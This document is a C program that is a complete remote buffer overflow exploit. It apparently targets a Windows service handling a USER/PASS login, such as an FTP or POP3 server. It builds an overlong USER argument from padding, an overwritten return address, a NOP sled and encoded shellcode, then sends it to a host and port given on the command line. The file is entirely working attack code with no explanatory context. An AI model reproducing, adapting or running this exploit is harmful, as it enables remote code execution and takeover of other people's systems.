#include <stdio.h>

#include <netinet/in.h>

#include <sys/socket.h>

#include <sys/types.h>

#include <netdb.h>

int main(int argc, char **argv)

{

struct sockaddr_in addr;

struct hostent *host;

char buffer[1109];

char buffer2[16];
int s, i;

if(argc != 3)

{

fprintf(stderr, "usage: %s <host> <port>\n", argv[0]);

exit(0);

}

s = socket(AF_INET, SOCK_STREAM, 0);

if(s == -1)

{

perror("socket() failed\n");

exit(0);

}

host = gethostbyname(argv[1]);

if( host == NULL)

{

herror("gethostbyname() failed");

exit(0);

}

addr.sin_addr = *(struct in_addr*)host->h_addr;

addr.sin_family = AF_INET;

addr.sin_port = htons(atol(argv[2]));

 

if(connect(s, &addr, sizeof(addr)) == -1)

{

perror("couldn't connect so server\n");

exit(0);

}
char buffRead[2048];
recv(s, buffRead, 2048, 0);
printf("%s\n", buffRead);
char shellcode[] = "\xdd\xc3\xd9\x74\x24\xf4\x5a\xb8\x81\xfb\x6a\x31\x29\xc9\xb1"
"\x49\x31\x42\x19\x03\x42\x19\x83\xc2\x04\x63\x0e\x96\xd9\xea"
"\xf1\x67\x1a\x8c\x78\x82\x2b\x9e\x1f\xc6\x1e\x2e\x6b\x8a\x92"
"\xc5\x39\x3f\x20\xab\x95\x30\x81\x01\xc0\x7f\x12\xa4\xcc\x2c"
"\xd0\xa7\xb0\x2e\x05\x07\x88\xe0\x58\x46\xcd\x1d\x92\x1a\x86"
"\x6a\x01\x8a\xa3\x2f\x9a\xab\x63\x24\xa2\xd3\x06\xfb\x57\x69"
"\x08\x2c\xc7\xe6\x42\xd4\x63\xa0\x72\xe5\xa0\xb3\x4f\xac\xcd"
"\x07\x3b\x2f\x04\x56\xc4\x01\x68\x34\xfb\xad\x65\x45\x3b\x09"
"\x96\x30\x37\x69\x2b\x42\x8c\x13\xf7\xc7\x11\xb3\x7c\x7f\xf2"
"\x45\x50\x19\x71\x49\x1d\x6e\xdd\x4e\xa0\xa3\x55\x6a\x29\x42"
"\xba\xfa\x69\x60\x1e\xa6\x2a\x09\x07\x02\x9c\x36\x57\xea\x41"
"\x92\x13\x19\x95\xa4\x79\x76\x5a\x9a\x81\x86\xf4\xad\xf2\xb4"
"\x5b\x05\x9d\xf4\x14\x83\x5a\xfa\x0e\x73\xf4\x05\xb1\x83\xdc"
"\xc1\xe5\xd3\x76\xe3\x85\xb8\x86\x0c\x50\x6e\xd7\xa2\x0b\xce"
"\x87\x02\xfc\xa6\xcd\x8c\x23\xd6\xed\x46\x4c\x7c\x17\x01\xb3"
"\x28\x03\xbe\x5b\x2a\x2c\x51\xc0\xa3\xca\x3b\xe8\xe5\x45\xd4"
"\x91\xac\x1e\x45\x5d\x7b\x5b\x45\xd5\x8f\x9b\x08\x1e\xfa\x8f"
"\xfd\xee\xb1\xf2\xa8\xf1\x6c\x98\x54\x64\x8a\x0b\x02\x10\x90"
"\x6a\x64\xbf\x6b\x59\xfe\x76\xf9\x22\x69\x77\xed\xa2\x69\x21"
"\x67\xa3\x01\x95\xd3\xf0\x34\xda\xce\x64\xe5\x4f\xf0\xdc\x59"
"\xc7\x98\xe2\x84\x2f\x07\x1c\xe3\xb1\x74\xcb\xca\x37\x8c\x79"
"\x3f\xf4";


buffer[0] = 'U';
buffer[1] = 'S';
buffer[2] = 'E';
buffer[3] = 'R';
buffer[4] = ' ';

for(i = 5; i < 490 ; i++)

buffer[i] = 'A';

buffer[490] = '\xD7';
buffer[491] = '\x30';
buffer[492] = '\x9D';
buffer[493] = '\x7C';
buffer[494] = 'C';
buffer[495] = 'C';
buffer[496] = 'C';
buffer[497] = 'C';
for (i = 498; i < 784; i++)

buffer[i] = '\x90';

for (i = 0; i < 317; i++)

buffer[i+784] = shellcode[i];

buffer[1101] = '\r';
buffer[1102] = '\n';
buffer[1103] = '\0';
printf("buffer is: %s\n", buffer);

send(s, buffer, strlen(buffer), 0);
recv(s, buffRead, 2048, 0);
printf("%s\n", buffRead);

buffer2[0] = 'P';
buffer2[1] = 'A';
buffer2[2] = 'S';
buffer2[3] = 'S';
buffer2[4] = ' ';
buffer2[5] = 'P';
buffer2[6] = 'A';
buffer2[7] = 'S';
buffer2[8] = 'S';
buffer2[9] = 'W';
buffer2[10] = 'O';
buffer2[11] = 'R';
buffer2[12] = 'D';
buffer2[13] = '\r';
buffer2[14] = '\n';
buffer2[15] = '\0';
send(s, buffer2, strlen(buffer2), 0);
recv(s, buffRead, 2048, 0);
printf("%s\n", buffRead);
close(s);

return 0;

}
